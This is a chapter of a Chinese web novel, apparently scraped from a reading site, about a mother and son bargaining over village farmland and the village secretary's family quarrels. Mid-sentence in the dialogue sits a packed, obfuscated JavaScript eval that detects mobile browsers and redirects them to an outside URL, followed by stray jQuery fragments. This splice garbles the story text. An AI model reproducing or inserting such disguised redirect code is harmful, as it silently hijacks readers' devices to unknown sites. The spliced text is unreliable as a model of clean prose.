161.双方拉扯

作品:《五旬老妇创业记

    “去年政府在周边拿地的价格相比你们也知道,不知道也可以出去打听,没有超过5000的,5500这个价是咱们村上要的,我们还没答应呢。”


    秦文礼慢条斯理道。


    对面几人对视一眼,小声嘀咕两句,还是那人充当发言人。


    “但盛宁人家8000呢?”


    “你也说了是盛宁,咱这可是上官,再说你刚也说那是盛宁街道周边的价格,咱这种偏远地界能一个价吗?”


    “我们也和盛宁连片种地呢嘛!”


    “行吧,但你们是不是没打听清楚?你们隔壁这个村我们也问过,人家可只要四千五。”


    说完秦文礼就装作和胡玉凤商量的样子,声音不大不小刚好会议室的人都能听见:“妈,要不这看完咱顺道去隔壁村那家看看,早上人家还打电话了,地方是小了些,但价格便宜啊!”


    胡玉凤点点头。


    对面的人面面相觑。


    “这样吧,我们给到的最高价4500一亩,和隔壁盛宁一个价。你们先考虑,能行的话刘主任给我电话。”秦文礼拍板。


    胡玉凤配合着起身和支书主任告辞。


    会议室里,刘支书神色淡淡道:“老板你们今儿也见了,话也听了,行情人家比咱们清楚。本来村上还想给大家争取到5500,现在是5000都难。人家不是非咱们不可,你们回去商量,能行了给主任见话。”


    说着就率先起身。


    刘主任一副恨铁不成钢的样子,指了指几人。


    这都是他们刘家的本家,那天人走了他和支书就出去打听了,5500这个价格他们已经占便宜了。结果这两家还到处造谣生事,这下好了,不是爱跟盛宁比吗,让你比个够。


    ……


    会议室里众人见另外两方利落撤了,顿时都傻了眼。


    “满林,这咋弄?”一人对带头人说道。


    她媳妇也开口:“就是,我们听了你的,结果听人家这意思咋要不要都行?”


    另外一对始终没有开口的夫妻默默起身往外走。


    “满君,先等一下么,事还没商量,你们两口子干啥去?”满清开口喊住两人。


    两人闻言停下,男人回头淡淡道:“我就不商量了,我卖不卖都行!”


    说完拉着媳妇就往外走。


    满清皱起眉头,他家条件好能说得起买不买都行的话,自家可不行。娃刚说了个媳妇,礼钱要了3800,他手里是一分没有。正在这个岔口上,来了个买地的,自家一亩半的地能卖八千多,可真是解了家里的燃眉之急。


    结果还没等他答应,满君找上门,说村上都是些坏种,故意压着低价云云。他一时心动就听了满林的,结果弄了这么个摊场。


    “满林,你说咋弄,我们都听你的。”


    满清回过神,见他媳妇还拉着满林要说法,他拉了拉媳妇,对满林道。


    前几天庄里都在传满林耍赌输了钱,这事他肯定比自己还着急。


    他能咋弄?有钱不赚王八蛋,隔壁这些王八蛋就是脑子有病,把价压这么低!


    还有村上这些坏种,老板在那巴巴一顿说,他们是一言不发。不帮着村上的群众出头当得啥村干部,还不如回家铲牛粪!


    心里把这些人都痛骂了一顿,满林的郁气才消了不少,气撒完了心里又升起一股恐慌。万一人家真不买了,那他欠的钱咋还,真要剁上一根指头吗?


    这么一想手上就传来一阵尖锐的疼痛,嘶……不行!


    自家的地不临街不靠马路,好不容易遇上这么个冤大头,要是不抓住机会怕就彻底卖不出去了。


    “这样,这事儿还是得找支书……”满林招手把两人叫到跟前,嘀嘀咕咕一顿说。


    ……


    回到铺子的胡玉凤捧着杯冰冰凉的糖水,抿了一口舒服的喟叹一声:


    “钰钰这脑瓜子就是灵!”


    秦文礼看着遮阳伞下的女儿,也笑了:“就要让她自己试试,才能知道大人挣钱的难处。”


    自从天气热起来,来铺子讨口水的人就多了,秦钰便想出个新点子,摆摊卖饮料。


    她先是找杨秀借了20块钱,买了些一次性塑料杯和桔子粉、酸梅粉等。


    小杯二毛、大杯五毛往外卖,别说生意还不错,杨秀见状又提议她可以熬些解暑气的绿豆凉茶之类的,这孩子抱着本食谱钻研两天,还真捣鼓出来了。


    卖了两个月,借的二十块钱本钱早还清了。杨秀没问她具体赚了多少,但从她雇佣秦树这个童工看摊可以窥见一二,效益应该还不错。


    聊了几句孩子,两人又讨论起地皮的事。


    经过今天的试探和观察,秦文礼得出一个结论:“刘支书是故意的,他和其中的一家应该有矛盾,故意借这个事儿让那家低头。”


    第一回碰面,看刘主任表情,那个价分明不说十拿九稳,成功率也在八成左右。


    而且两人当时虽没明说,可看刘主任的意思,分明等要村上和群众协商好了再见话的。一般这种事本就是这样处理,买方肯定只和你村上谈,你3000拿下转头卖我五千是你的本事。


    现在好么,才开始就呼啦啦吵得跟菜市场,谁能保证以后这些人不来找麻烦。


    胡玉凤也看出来了,眼神有些冷:“他拿咱们当棋子,能行么,反正就4500这个价,看他怎么开口。”


    至于为啥笃定村上会开口,还不够明显吗,要是真不愿意,那些群众当场就掀桌子走人了,还能压下火气更自家谈?


    闲着也是闲着,两人就刘支书可能使用的各种话术演练了一遍,这才胸有成竹地回家。


    ……


    上刘村,刘支书家。


    晚饭后,满清和满林找上了门。


    往日见了他鼻子不是鼻子眼不是眼的满林笑得格外殷勤,又是点烟又是奉承。


    刘支书心知肚明,却就是不开口。


    满林见状给满清使了个颜色,满清立刻偎到刘支书身侧:“叔,三叔,卖地这个事你说咋弄嘛?”


    刘支书嫌恶地往旁边挪了挪:“好好说话,撒毛病撵到人跟前。”


    满清立马后退一步,继续道:“三叔,咱们都是一门人,你可不能不管我,我们娃还等着交礼钱呢。”


    刘支书掸了掸烟灰:“交礼钱你交么,给娃娶媳妇谁还能拦着你?”


    满清跺跺脚:“三叔,我没钱么,有钱我娃还能拖到现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686160|138912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在。反正你看,要么卖地,要么你给我借钱!”


    刘支书哼了一声,没搭理他,只是一口接一口抽着烟。


    满清无法,只能给满林使眼色。


    满林低头,再抬头时已经换上一副懊悔的样子:“三叔,以前的事是我不对,都怪我,和我哥没关系。你大人不记小人过,就帮我哥一把,娃也大了,好不容易说个媳妇,就等着这钱娶媳妇呢。”


    刘支书“哦”了一声,继续抽烟。


    满林咬咬牙,继续道:“三叔,咱们都是一个刘家的后,不看僧面看佛面,看在老祖先的份上,你就饶了侄子这一回。我保证,以后你说我往东,我绝不往西。我把话撂这儿了,以后村上人骂你就是骂我。行不,三叔?”


    刘支书慢条斯理的掸了掸烟灰,这才抬头看了满林一眼。


    满林立马切换成笑脸:“三叔,我就知道你最疼我们这些后辈,这个事,你看……”


    ……


    于是当了两天快递员的秦文礼第二次接到了电话。


    电话那头,刘支书热情洋溢的笑声顺着电话线传过来:“大侄子,你这两天忙着吧?我思来想去,那天让你和你妈跑了一趟,还受了一肚子气,我这心里过意不去,就想着邀请你们娘俩出来坐坐。”


    秦文礼心道果然如此,嘴上客气:“叔,你太客气,为了我们的事你和刘主任也忙前忙后的。你不要放在心上,做生意哪有不受气的,这次就不让你破费了,下次有机会我请你和我苟叔吃饭。”


    刘支书立马接话:“不行,我都把饭店订好了,千喜宴明天中午十一点,你和你妈一定要来昂。”说完不给秦文礼反驳的机会就挂了电话。


    秦文礼咧嘴一笑,不吃白不吃。


    “妈,刘支书明儿叫咱们吃饭呢!”


    “吃走!”


    第二日,秦文礼贴心地上了趟苟家的门,果然苟支书也接到了邀约。


    “老刘在电话里含含糊糊的,到底找你们啥事?”


    其实不然,虽说昨晚老刘在电话里一推二五六,把自己洗的干干净净,只说是村上的群众无理取闹,让他帮着说几句好话。但都是搞政治的老狐狸了,谁还不知道谁。老刘多清高的人,能放低姿态请人吃饭,必然是他干了啥不太光彩的事,还有求于人。


    但这话苟支书能说吗?说出来他像个叛徒,当然不说也像个叛徒。反正他昨晚都打算好了,今天去就是看形势,底线是不能得罪文礼母子。


    “就是买地皮的事……”这也没啥不能说的,小沟村就这么个条件,苟支书早就猜到秦家迟早要飞出去。


    “这个老刘,哪有他这样办事的嘛,你们能到他们村上可是天大的好事。”


    老苟听完就知道和他揣测的八九不离十,但这毫不妨碍他表现得同仇敌忾。


    真是又气又羡慕,咋自己村就不在那塬上呢。要是这么个厂子能留在自己村,先不提他的政绩,就端看给老百姓带来的好处:村里的油粮销售不出村不说,村里的人还能就近务工。


    这可不是天大的好处嘛!


    再往长远想,万一秦家干大干强了,村里的道路,学校,包括村集体,哪一项不受益?


    这个瓜皮老刘,命还好的很!